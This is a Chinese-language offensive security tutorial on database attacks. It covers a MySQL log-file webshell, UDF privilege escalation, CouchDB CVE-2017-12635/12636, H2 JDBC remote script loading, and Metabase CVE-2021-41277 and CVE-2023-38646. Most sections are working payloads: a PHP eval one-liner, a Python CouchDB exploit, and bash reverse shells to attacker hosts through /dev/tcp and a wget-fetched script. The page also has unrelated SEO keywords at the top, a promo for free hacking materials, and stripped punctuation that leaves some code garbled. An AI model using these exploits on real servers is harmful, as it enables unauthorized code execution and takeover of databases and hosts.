邯郸做网站推广的公司,自已建外贸网站,免费xyz域名注册,wordpress 维基插件MySQL
0x01mysql学习
MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统#xff0c;它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用#xff0c;用的人数很多。
0x02环境搭建
这里演示用#xff0c;phpstudy搭建的…MySQL
0x01mysql学习
MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用用的人数很多。
0x02环境搭建
这里演示用phpstudy搭建的环境然后安装phpmyadmin 0x03漏洞复现
日志文件包含getshell
利用前提
知道网站路径mysql版本大于5.0
利用条件 需要可读可写的权限也就是高权限账号
所用到的命令
show variables like ‘%general%’; 查看日志读写功能
SET GLOBAL general_log‘on’开启日志读写功能
select basedir 查看mysql所在的绝对路径
SHOW VARIABLES LIKE “secure_file_priv”;如果值为文件夹目录则只允许修改目录下的文件如果值为NULL则为禁止。
SET GLOBAL general_log_file‘C:/phpstudy_pro/WWW/shell.php’;修改日志文件路径 修改设置该为开启这样才能继续利用。 再次查询可以发现已经发生了改变 访问验证 select ‘?php eval($_POST[a]);?’; 总结如果SHOW VARIABLES LIKE “secure_file_priv”;为NULL则没办法使用into outfile 写文件那么可以开启日志修改日志文件路径和文件名为php然后执行一个带有一句话的查询语句完成getshell。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
mysql udf提权
这里使用win10 phpstudy直接下个msyql就行了
udf提权是mysql的一种常见的提权方式。
什么是udf
udf可以理解为用户自定义函数可以用udf增加一些函数在mysql里就能用这个函数了。
提权前提
获取mysql的控制权限。
mysql具有写入权限即secure_file_priv的值为空。
show global variables like’%secure%;用这个查询
提权背景
拿到了mysql权限没拿到服务器权限可以通过mysql提权使其达到拿到服务器的权限
提权实验
实验版本mysql 5.5 操作系统win10
需要udf文件可以从sqlmap里获取或者msf中获取。
这里可以直接用国光师傅的写好udf16进制
https://www.sqlsec.com/tools/udf.html
show global variables like’%secure%; 如果不是空的话可以这样修改这个需要在mysql目录下的ini文件进行修改或者添加。 secure_file_priv然后重启服务。
如果是 MySQL 5.1 的版本必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。
这里我自己在目录下创建一个也可以用NTFS ADS方法创建目录但有可能不成功。
show variables like ‘plugin%’;
查询发现已经有了然后进行文件写入。 路径D:phpstudy_proExtensionsMySQL5.5.29libplugin
如果有Can’t open shared library ‘udf.dll’切换成32位试试。 实战中不成功可以轮流尝试。 创建自定义函数并且调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’;
select sys_eval(‘whoami’);
select sys_eval(‘dir’); 发现已经成功并且是Administrator权限
couchdb数据库
漏洞介绍
ApacheCouchDB是一个开源数据库专注于易用性和成为完全拥抱web的数据库。它是一个使用JSON作为存储格式JavaScript作为查询语言MapReduce和HTTP作为API的NoSQL数据库。应用广泛如BBC用在其动态内容展示平台CreditSuisse用在其内部的商品部门的市场框架Meebo用在其社交平台web和应用程序。在2017年11月15日CVE-2017-12635和CVE-2017-12636披露利用
漏洞复现
CVE-2017-12635 PUT发包创建用户
选择内网映射端口为5984的抓包访问 http://192.168.48.133:54944/_utils/#login 这个为登陆应用
发包目的是增加用户可以用bp或者postman PUT /_users/org.couchdb.user:vulhub HTTP/1.1Host:Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 110{type: user,name: vulhub,roles: [_admin],roles: [],password: vulhub}成功添加用户
CVE-2017-12636
CVE-2017-12636 exp 命令执行
import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget http://your-ip:5984command rbsh -i /dev/tcp/10.0.0.1/443 01version 1session requests.session()session.headers {Content-Type: application/json}# session.proxies {# http: http://127.0.0.1:8085# }session.put(target /_users/org.couchdb.user:wooyun, data{type: user,name: wooyun,roles: [_admin],roles: [],password: wooyun})session.auth HTTPBasicAuth(wooyun, wooyun)command bash -c {echo,%s}|{base64,-d}|{bash,-i} %
base64.b64encode(command).decode()if version 1:session.put(target (/_config/query_servers/cmd),
datajson.dumps(command))else:host session.get(target
/_membership).json()[all_nodes][0]session.put(target
/_node/{}/_config/query_servers/cmd.format(host),
datajson.dumps(command))session.put(target /wooyun)session.put(target /wooyun/test, data{_id:
wooyuntest})if version 1:session.post(target /wooyun/_temp_view?limit10,
data{language:cmd,map:})else:session.put(target /wooyun/_design/test,
data{_id:_design/test,views:{wooyun:{map:}
},language:cmd})h2database数据库
H2 是一个开源的嵌入式数据库引擎纯 java 实现的关系型数据库不受平台的限制。 未授权访问
发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE; 在JDBC URL输入这个语句点击connect即可未授权访问 RCE姿势
在VPS里面创建个sql文件然后远程加载利用服务。
re_shell.sqlCREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS //javascriptJava.type(java.lang.Runtime).getRuntime().exec(bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i});;bash -i /dev/tcp/ip/7888 01远程加载姿势如下填入python启动的ip和端口
jdbc:h2:mem:test1;FORBID_CREATIONFALSE;IGNORE_UNKNOWN_SETTINGSTRUE;FORBID_CREATIONFALSE;INITRUNSCRIPT
FROM http://IP:port/re_shell.sql;mongodb数据库
大致介绍一下
MongoDB是一个基于分布式文件存储的数据库
由C语言编写旨在为WEB应用提供可扩展的高性能数据存储解决方案。
未授权访问漏洞
可以用msf检测
search mongodb 存在未授权访问漏洞 可以利用mongodb连接工具直接连接
metabase数据库分析
metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具
Metabase geojson任意文件读取漏洞 CVE-2021-41277
payload /api/geojson?urlfile:/etc/passwd Metabase 远程代码执行漏洞CVE-2023-38646
Metabase是一个开源的数据分析和可视化工具它可以帮助用户轻松地连接到各种数据源包括数据库、云服务和API然后使用直观的界面进行数据查询、分析和可视化。 Metabase 存在远程代码执行漏洞可导致攻击者在服务器上以运行 Metabase 服务器的权限执行任意代码。
这里使用vulhub的docker环境vulfocus可能有问题没复现成功
GET访问
/api/session/properties expPOST /api/setup/validate HTTP/1.1Host: your-ipContent-Type: application/json{token: token值,details:{is_on_demand: false,is_full_sync: false,is_sample: false,cache_ttl: null,refingerprint: false,auto_run_queries: true,schedules:{},details:{db:
zip:/app/metabase.jar!/sample-database.db;MODEMSSQLServer;TRACE_LEVEL_SYSTEM_OUT1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec(执行的命令)n$$--x,advanced-options: false,ssl: true},name: test,engine: h2}}验证一下
python启动一个http服务然后exec执行curl ip:8899/1.txt
python3 -m http.server 8899 验证成功 尝试反弹shell
未能成功反弹shell利用其他方法进行反弹shell可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell 创建个re_shell.sh内容如下
!/bin/shbash -c exec bash -i /dev/tcp/ip/6667 01执行 wget http://ip:port/re_shell.sh执行
/bin/bash /tmp/re_shell.sh 成功反弹shell